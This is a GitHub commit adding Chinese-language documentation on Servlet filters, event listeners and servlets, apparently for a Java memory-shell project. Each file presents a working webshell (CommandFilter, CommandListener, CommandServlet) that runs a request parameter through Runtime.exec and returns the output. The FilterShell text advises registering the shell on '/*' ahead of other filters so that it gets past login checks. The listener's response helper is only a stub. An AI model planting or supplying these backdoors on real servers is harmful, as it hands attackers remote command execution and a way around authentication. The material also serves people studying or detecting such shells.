Skip to content

Commit 5218526

Browse files
committed
docs: add filter and listener (#27)
1 parent a9e1978 commit 5218526

File tree

3 files changed

+190
-13
lines changed

3 files changed

+190
-13
lines changed

docs/shell/FilterShell.md

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# Java Servlet Filter
2+
3+
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
4+
5+
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
6+
7+
## Filter 配置
8+
9+
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
10+
11+
```xml
12+
<filter-mapping>
13+
<filter-name>Multipe Mappings Filter</filter-name>
14+
<url-pattern>/foo/*</url-pattern>
15+
<servlet-name>Servlet1</servlet-name>
16+
<servlet-name>Servlet2</servlet-name>
17+
<url-pattern>/bar/*</url-pattern>
18+
</filter-mapping>
19+
```
20+
21+
```java
22+
@WebFilter(
23+
filterName = "Multipe Mappings Filter",
24+
urlPatterns = {"/foo/*", "/bar/*"},
25+
servletNames = {"Servlet1", "Servlet2"}
26+
)
27+
public class MultipeMappingsFilter implements Filter {
28+
@Override
29+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
30+
// TODO
31+
}
32+
}
33+
```
34+
35+
## doFilter
36+
37+
Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
38+
39+
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
40+
41+
1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
42+
2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
43+
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。
44+
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
45+
46+
```java
47+
public interface Filter {
48+
/**
49+
* 由 Web 容器在初始化 Filter 时调用。
50+
*/
51+
public void init(FilterConfig filterConfig) throws ServletException;
52+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
53+
/**
54+
* 由 Web 容器在卸载 Filter 时调用。
55+
*/
56+
public void destroy();
57+
}
58+
```
59+
60+
## FilterShell
61+
62+
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
63+
64+
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
65+
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
66+
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
67+
68+
```java
69+
public class CommandFilter implements Filter {
70+
public static String paramName;
71+
72+
@Override
73+
public void init(FilterConfig filterConfig) throws ServletException {
74+
75+
}
76+
77+
@Override
78+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
79+
HttpServletRequest servletRequest = (HttpServletRequest) request;
80+
HttpServletResponse servletResponse = (HttpServletResponse) response;
81+
String cmd = servletRequest.getParameter(paramName);
82+
if (cmd != null) {
83+
Process exec = Runtime.getRuntime().exec(cmd);
84+
InputStream inputStream = exec.getInputStream();
85+
ServletOutputStream outputStream = servletResponse.getOutputStream();
86+
byte[] buf = new byte[8192];
87+
int length;
88+
while ((length = inputStream.read(buf)) != -1) {
89+
outputStream.write(buf, 0, length);
90+
}
91+
return;
92+
}
93+
chain.doFilter(servletRequest, servletResponse);
94+
}
95+
96+
@Override
97+
public void destroy() {
98+
99+
}
100+
}
101+
```

docs/shell/ListenerShell.md

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# Event Listeners
2+
3+
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
4+
5+
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
6+
7+
| Listener 接口类 | 描述 |
8+
|--------------------------------------------------|---------------------------------|
9+
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
10+
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
11+
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
12+
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
13+
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
14+
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
15+
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
16+
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
17+
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
18+
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
19+
20+
## ServletRequestListener
21+
22+
在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。
23+
24+
```java
25+
public interface ServletRequestListener extends EventListener {
26+
public void requestDestroyed(ServletRequestEvent sre);
27+
28+
/**
29+
* Receives notification that a ServletRequest is about to come
30+
* into scope of the web application.
31+
*
32+
* @param sre the ServletRequestEvent containing the ServletRequest
33+
* and the ServletContext representing the web application
34+
*/
35+
public void requestInitialized(ServletRequestEvent sre);
36+
}
37+
```
38+
39+
以下时使用 ServletRequestListenerShell 命令回显的代码实现。
40+
41+
1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。
42+
43+
```java
44+
public class CommandListener implements ServletRequestListener {
45+
public static String paramName;
46+
47+
public CommandListener() {
48+
}
49+
50+
@Override
51+
public void requestDestroyed(ServletRequestEvent sre) {
52+
53+
}
54+
55+
@Override
56+
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
57+
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
58+
try {
59+
String cmd = request.getParameter(paramName);
60+
if (cmd != null) {
61+
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
62+
Process exec = Runtime.getRuntime().exec(cmd);
63+
InputStream inputStream = exec.getInputStream();
64+
ServletOutputStream outputStream = servletResponse.getOutputStream();
65+
byte[] buf = new byte[8192];
66+
int length;
67+
while ((length = inputStream.read(buf)) != -1) {
68+
outputStream.write(buf, 0, length);
69+
}
70+
}
71+
} catch (Exception ignored) {
72+
}
73+
}
74+
75+
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
76+
return null;
77+
}
78+
}
79+
```

docs/shell/ServletShell.md

Lines changed: 10 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要
44

55
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)
66

7-
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 Servlet 6.1。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
7+
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
88

99
## ServletContext
1010

@@ -82,19 +82,16 @@ public class CommandServlet extends HttpServlet {
8282

8383
@Override
8484
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
85-
try {
86-
String cmd = request.getParameter(paramName);
87-
if (cmd != null) {
88-
Process exec = Runtime.getRuntime().exec(cmd);
89-
InputStream inputStream = exec.getInputStream();
90-
ServletOutputStream outputStream = response.getOutputStream();
91-
byte[] buf = new byte[8192];
92-
int length;
93-
while ((length = inputStream.read(buf)) != -1) {
94-
outputStream.write(buf, 0, length);
95-
}
85+
String cmd = request.getParameter(paramName);
86+
if (cmd != null) {
87+
Process exec = Runtime.getRuntime().exec(cmd);
88+
InputStream inputStream = exec.getInputStream();
89+
ServletOutputStream outputStream = response.getOutputStream();
90+
byte[] buf = new byte[8192];
91+
int length;
92+
while ((length = inputStream.read(buf)) != -1) {
93+
outputStream.write(buf, 0, length);
9694
}
97-
} catch (Exception ignored) {
9895
}
9996
}
10097
}

0 commit comments

Comments
 (0)